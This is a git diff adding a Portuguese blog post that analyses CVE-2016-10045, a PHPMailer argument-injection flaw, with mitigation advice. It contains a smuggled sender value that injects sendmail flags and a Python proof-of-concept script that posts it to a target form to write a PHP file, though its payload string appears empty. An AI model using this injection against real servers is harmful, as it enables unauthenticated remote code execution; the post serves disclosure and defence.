diff --git a/_posts/2024-11-06-CVE-2016-10045.markdown b/_posts/2024-11-06-CVE-2016-10045.markdown new file mode 100644 index 000000000..3559ff1bd --- /dev/null +++ b/_posts/2024-11-06-CVE-2016-10045.markdown @@ -0,0 +1,101 @@ +--- +layout: post +title: "Análise da CVE-2016-10045: RCE no PHPMailer" +date: 2024-11-06 +--- + +A [CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045)\[1\] é uma vulnerabilidade crítica no [PHPMailer](https://github.com/PHPMailer/PHPMailer)\[2\], que afeta versões anteriores à 5.2.18, uma biblioteca amplamente utilizada para o envio de e-mails em aplicações escritas em [PHP](https://www.php.net)\[3\]. Essa vulnerabilidade permite que um atacante execute códigos maliciosos em um servidor web comprometido, explorando uma falha de validação de entrada no código do PHPMailer. + +Essa publicação está disponível também em: [Inglês](https://blog.lesis.lat/blog/CVE-2016-10045-EN/) + +--- + +**Introdução** + +O PHPMailer continua sendo uma das bibliotecas de envio de e-mails mais utilizadas globalmente, com aproximadamente 9 milhões de usuários ao redor do mundo. Além disso, o PHPMailer é empregado em diversos projetos *open-source*, como: WordPress, Drupal, Joolma, entre outros. + +Um dos pontos que torna essa vulnerabilidade ainda mais crítica é que, na maioria dos casos, o atacante não precisa ser um usuário autenticado para injetar código malicioso e realizar uma [execução de código remoto (RCE)](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/)\[4\] em um servidor web. + +Para explorar essa vulnerabilidade, basta ao atacante identificar qualquer campo de formulário que utilize o PHPMailer para o envio de e-mail e, em seguida, enviar o payload. + +--- + +**Descrição** + +Essa vulnerabilidade decorre de uma correção inadequada na [CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033)\[5\]. Na versão 5.2.17 do PHPMailer, foi implementada uma sanitização da variável *$Sender* através da função *escapeshellarg()* antes que o valor fosse passado para a função *mail()*. Como resultado, é possível acrescentar uma aspa a mais que não é devidamente escapada, quebrando o fluxo da função *escapeshellarg()*. + +**Por exemplo:** + +```php +$mail \-\> SetFrom("\\"Attacker\\\\' \-Param2 \-Param3\\"@test.com", 'Client Name'); +``` + +Irá resultar na seguinte lista de argumentos sendo passada para o programa de envio de e-mails: + +``` +Arg no. 0 \== \[/usr/sbin/sendmail\] +Arg no. 1 \== \[-t\] +Arg no. 2 \== \[-i\] +Arg no. 3 \== \[-f\\"Attacker\\\\\\\] +Arg no. 4 \== \[-Param2\] +Arg no. 5 \== \[-Param3"@test.com'\] +``` + +O atacante pode passar o parâmetro **\-X** para escrever um *log* contendo código PHP arbitrário, o que torna as versões anteriores à **5.2.20** vulneráveis à execução remota de código (RCE). + +--- + +**Prova de Conceito** + +Script em Python que explora a vulnerabilidade: + +```python +#!/usr/bin/env python3 +import requests +import argparse +import re +def exploit(url, dir): + if not re.match(r'^https?://', url): + url \= f"https://{url}" + payload \= "\\"attacker\\\\' \-oQ/tmp/ \-X%s/phpcode.php some\\"@email.com" % dir + code \= "\" + + data \= {'action': 'send', 'name': 'LESIS', 'email': payload, 'msg': code} + + response \= requests.post(url, data=data) + + if response.status\_code \== 200: + print("Exploitation successful\!") + else: + print("Exploitation failed.") +def main(): + parser \= argparse.ArgumentParser(description='CVE-2016-10045 | PHPMailer') + parser.add\_argument('-t', '--target', required=True, help='Target URL') + parser.add\_argument('-d', '--dir', required=True, help='Remote recording directory') + args \= parser.parse\_args() + + if args.target and args.dir: + exploit(args.target, args.dir) +if \_\_name\_\_ \== '\_\_main\_\_': + main() +``` + +--- + +**Conclusão** + +A vulnerabilidade decorre de uma falha na sanitização de parâmetros de entrada no PHPMailer, permitindo que atacantes executem código malicioso em servidores web comprometidos. Isso representa um risco significativo, já que a exploração pode ser realizada sem a necessidade de autenticação, possibilitando a injeção de código remoto (RCE) em aplicações vulneráveis. + +Os potenciais impactos de uma exploração bem-sucedida incluem a execução de código arbitrário, que pode resultar em comprometimento da segurança e acesso não autorizado a informações sensíveis. + +A mitigação recomendada é atualizar o PHPMailer para a versão 5.2.20 ou superior. + +--- + +**Referências** + +* \[1\] [MITRE \- CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045) +* \[2\] [GitHub \- PHPMailer: A full-featured email creation and transfer class for PHP](https://github.com/PHPMailer/PHPMailer) +* \[3\] [PHP \- A popular general-purpose scripting language](https://www.php.net) +* \[4\] [Cloudflare \- What is remote code execution?](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/) +* \[5\] [MITRE \- CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033)